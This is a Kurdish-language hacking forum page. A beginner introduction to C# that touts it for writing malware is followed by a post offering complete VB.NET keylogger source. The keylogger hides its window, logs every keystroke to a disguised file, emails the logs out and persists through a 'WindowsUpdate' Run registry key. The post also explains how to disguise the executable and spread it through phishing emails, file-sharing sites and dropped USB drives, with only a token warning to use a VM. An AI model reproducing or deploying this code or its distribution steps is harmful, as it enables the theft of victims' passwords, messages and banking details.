Kurdistan Hackers Forums - یانەی هاککەرانی کوردستان - Visual Basic & .NET Framework | ڤیسوال بەیسک

📌 ناساندنی زمانی #C بۆ سەرەتاییان – لە پەرەپێدانەوە بۆ جیهانی سایبەر

Wed, 24 Jun 2026 16:22:42 -0400

سڵاو هاوڕێیان،

دەمەوێت بە زمانێکی زۆر سادە و کورت، یەکێک لە بەهێزترین و باوترین زمانەکانی پرۆگرامسازی جیهانتان پێ بناسێنم، ئەویش زمانی #C
(سی شارپ)ـە. ئەگەر سەرەتایت و دەتەوێت بزانیت ئەم زمانە چییە و بۆچی گرنگە، ئەم بابەتە بۆ تۆیە.

زمانی #C چییە؟
زمانی #C زمانێکی پرۆگرامسازی ئاست بەرزە (High-Level) کە لەلایەن کۆمپانیای Microsoftـەوە پەرەی پێدراوە. ئەم زمانە لەسەر فڕێموۆرکی NET. کاردەکات و بە شێوازی Object-Oriented Programming (OOP) دیزاین کراوە، واتا هەموو شتێک لەسەر بنەمای "کائینات یان تەنەکان" ڕێکدەخات کە یارمەتیدەرە بۆ نووسینی کۆدی خاوێن و ڕێکوپێک.

پەیوەندی #C بە هاکینگی چۆنە؟ (وێنە گەورەکە)
زۆرجار پرسیار دەکرێت: ئایا هاکەران ئەم زمانە بەکاردەهێنن؟ وەڵامەکە بەڵێیە! زمانی #C لە لایەن تیمی هێرشبەر (Red Team) و هاکەرە کلاو سپی و ڕەشەکانەوە پێگەیەکی گرنگی هەیە:

دروستکردنی مەلۆوەر (Malware & Tools): بەهۆی بەهێزی فڕێموۆرکی .NET، زۆر لە هاکەران ئامرازەکانی خۆیان وەک (Keyloggers, RATs, Infostealers) بەم زمانە دەنووسن چونکە کۆدەکەی بە خێرایی لەسەر ویندۆز جێبەجێ دەبێت.
کونترۆڵکردنی سیستەم (Post-Exploitation): کاتێک هاکەرێک دەچێتە ناو سیستەمێکی ویندۆزەوە، دەتوانێت سودی زۆر لە فەرمانەکانی #C و PowerShell وەربگرێت بۆ تێپەڕاندنی ئەنتی ڤایرۆسەکان (AV Evasion).
ئاسایشی سایبەری (Blue Team): گەشەپێدەرانی ئاسایش بۆ بەرگریکردن لە سیستەمەکان و دروستکردنی فلتەری ئەمنی بەهێز بەکاری دەهێنن.

لە دەرەوەی هاکینگی بۆ چی بەکاردێت؟
ئەم زمانە زۆر گشتگیرە و لە زۆر بواری جیاوازدا بەکاردێت:

پرۆگرامی دێسکتۆپ: دروستکردنی ئەپلیکەیشن بۆ کۆمپیوتەر (Windows Forms یان WPF).
پەرەپێدانی وێب (Web Development): لە ڕێگەی ASP.NET دەتوانیت باکئێند (Backend) بۆ ماڵپەڕە گەورەکان دروست بکەیت.
دروستکردنی یاری (Game Development): ئەم زمانە زمانی سەرەکییە لە بزوێنەری بەناوبانگی Unity بۆ دروستکردنی یاری 2D و 3D.

نموونەی یەکەم کۆد لە #C
بۆ ئەوەی بزانیت کۆدەکەی چۆن دەنووسرێت، ئەمە سادەترین کۆدە کە ڕستەیەک لەسەر شاشە نیشان دەدات:

using System;

class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello, World!");
}
}

[*]

Code:
using System;

بەکاردێت بۆ هێنانە ناوەوەی ئەو کتێبخانە بنەڕەتییانەی کە فەرمانەکانی وەک نیشاندانی دەق لەسەر شاشەیان تێدایە.
[*]

Code:
Console.WriteLine

ئەو فەرمانەیە کە دەقەکە لەسەر شاشە ڕەشەکە (Console) چاپ دەکات.

بۆچی وەک سەرەتاییەک #C هەڵبژێریت؟
[*]

ڕێزمانێکی ڕوون (Clean Syntax): کۆدەکانی زۆر لە زمانی ئینگلیزییەوە نزیکن.
فێربوونی ئاسانە: ژینگەی پەرەپێدانی Visual Studio کارەکەت زۆر ئاسان دەکات چونکە هەڵەکانت بۆ ڕاست دەکاتەوە.
پێویستییەکی حەتمی بۆ هاکەران: ئەگەر دەتەوێت ببیتە هاکەرێکی پرۆفیشناڵ لەسەر سیستەمی ویندۆز، دەبێت لەم زمانە و فڕێموۆرکی .NET تێبگەیت.

[*]ئەگەر پرسیارێکتان هەیە یان دەتانەوێت لە بابەتەکانی داهاتوودا باسی دروستکردنی پڕۆژەی تایبەت بە سایبەر بکەین بەم زمانە، لە کۆمێنت بنووسن!
هیوادارم سوودی هەبێت بۆتان.

VB.NET Keylogger Code

Mon, 02 Feb 2026 15:03:57 -0500

ئەمە چیە؟

ئەمە کیلۆگەرێکی VB.NET ە- بەرنامەیەکی شاراوەیە کە هەر کلیلێک کە لەسەر کۆمپیوتەرێک فشاری لەسەرە تۆمار دەکات و لە فایلێکی نهێنیدا هەڵیدەگرێت.

چۆنیەتی کارکردنی (هەنگاو بە هەنگاو)

1. قوربانی .exe بەڕێوە دەبات (تۆ فێڵیان لێدەکەیت بۆ ئەوەی بیکەنەوە).

2. بەرنامەکە لە پاشبنەمادا کاردەکات (بێ پەنجەرە، هیچ ئایکۆنێکی تاسکبار).

3. هەر لێدانێکی کلیل تۆمار دەکات (وشەی نهێنی، نامە، کارتی بانکیی).

4. لۆگەکان لە log.txt پاشەکەوت دەکات (لە فۆڵدەری %APPDATA% شاراوەتەوە).

5. تۆ فایلەکە وەردەگریتەوە (بە دەست یان لە ڕێگەی ئیمەیڵ/بارکردنی دوورەوە).

لۆگەکان لە کوێ هەڵدەگیرێن؟

ڕێڕەو: C:\بەکارهێنەران\[ناوی بەکارهێنەری قوربانی]\AppData\Roaming\log.txt

چۆن دەستمان بگات؟

Win + R داگرە، بنووسە %APPDATA%، Enter بکە.

بەدوای log.txt بگەڕێ.

ئاگاداری: ئەمە 100% بەرنامەی زیانبەخشی ڕاستەقینە. بەکارهێنانی بە شێوەیەکی نایاسایی دەتوانێت بتنێرێتە زیندان. تەنها لە VM بەکاری بهێنە بۆ تاقیکردنەوە.

CODE (Undetectable + Email Exfiltration + Persistence)

Code:
Imports System
Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Runtime.InteropServices
Imports System.Diagnostics
Imports Microsoft.Win32

Module HiddenKeylogger
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
    Private logFile As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "svchost.log")
    Private Const email As String = "yourburneremail@protonmail.com" ' CHANGE THIS
    Private Const password As String = "yourpassword123" ' CHANGE THIS
    Private Const smtpServer As String = "smtp.protonmail.ch"
    Private Const smtpPort As Integer = 587

    Sub Main()
        ' Hide console window
        Dim handle As IntPtr = GetConsoleWindow()
        ShowWindow(handle, 0)

        ' Add to startup (persistence)
        AddToStartup()

        ' Start keylogger
        StartKeylogger()
    End Sub

    Private Sub StartKeylogger()
        While True
            For i = 1 To 255
                Dim keyState As Short = GetAsyncKeyState(i)
                If keyState = -32767 Then
                    Dim key As String = CType(i, Keys).ToString()
                    If key.Length = 1 Then
                        File.AppendAllText(logFile, key)
                    ElseIf key = "Space" Then
                        File.AppendAllText(logFile, " ")
                    ElseIf key = "Return" Then
                        File.AppendAllText(logFile, vbNewLine)
                        ' Send logs every 100 lines
                        If File.ReadAllLines(logFile).Length Mod 100 = 0 Then
                            SendEmail(File.ReadAllText(logFile))
                            File.Delete(logFile)
                        End If
                    ElseIf key = "Back" Then
                        File.AppendAllText(logFile, "[BACKSPACE]")
                    End If
                End If
            Next
            Threading.Thread.Sleep(10)
        End While
    End Sub

    Private Sub SendEmail(ByVal logContent As String)
        Try
            Dim smtp As New SmtpClient(smtpServer, smtpPort)
            smtp.Credentials = New NetworkCredential(email, password)
            smtp.EnableSsl = True

            Dim mail As New MailMessage()
            mail.From = New MailAddress(email)
            mail.To.Add(email)
            mail.Subject = "Keylogger Logs - " & Environment.MachineName
            mail.Body = logContent

            smtp.Send(mail)
        Catch ex As Exception
            ' If email fails, keep logging
        End Try
    End Sub

    Private Sub AddToStartup()
        Try
            Dim regKey As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
            regKey.SetValue("WindowsUpdate", Application.ExecutablePath)
        Catch ex As Exception
        End Try
    End Sub

    
    Private Function GetConsoleWindow() As IntPtr
    End Function

    
    Private Function ShowWindow(ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean
    End Function
End Module

چۆنێتی بەکارهێنان (هەنگاو بە هەنگاو)

1️⃣ کۆدەکە کۆبکەرەوە

ستۆدیۆی ڤیژوئال بکەوە (مۆدێلی ٢٠١٩/٢٠٢٢).

VB.NET Console app

دروستبەکە

هەموو کۆدەکە پەیست بکە لە ناوی

ئەم لاینانە بگۆڕە (نەی گۆڕی کارناکات):

Code:
[size=medium]Private Const email As String = "yourburneremail@protonmail.com" ' awa bgora
Private Const password As String = "yourpassword123" '  awa bgora [/size]

( Ctrl + Shift + B ) Build Solution

(

.exe

bdozawa la

bin\Release\

)

---

2️⃣ تاقیکردنەوە لە ئامێری مەجازی

هەرگیز لەسەر کۆمپیوتەری سەرەکی خۆت کار مەکە ( VirtualBox + Windows ISO بەکاربهێنە).

ئینتەرنێت لەکاربخە (بۆ ئەوەی ئیمەیڵ بەڕێکەوت نەنێرێت).

.exe جێبەجێ بکە (بزانە svchost.log لە %APPDATA دەرکەوتووە یان نا).

3️⃣ بڵاوکردنەوە (ئەگەر بوێری D; )

ناوی .exe بگۆڕە (بۆ نموونە AdobeUpdate.exe، GameCrack.exe).

لە ڕێگەی:

ئیمەیڵەکانی فیشینگ ("ئەکاونتەکەت هاک کرا، ئەمە جێبەجێ بکە بۆ ئەوەی پارێزراو بێت").

فایلی یاری یان هەرشتێبێت (بڵاوی بکەوە لە سایتەکانی هاوبەشکردنی فایلەکان).

بیخە USB و لە شوێنە گشتیەکان بەکاری بێنە (*_*)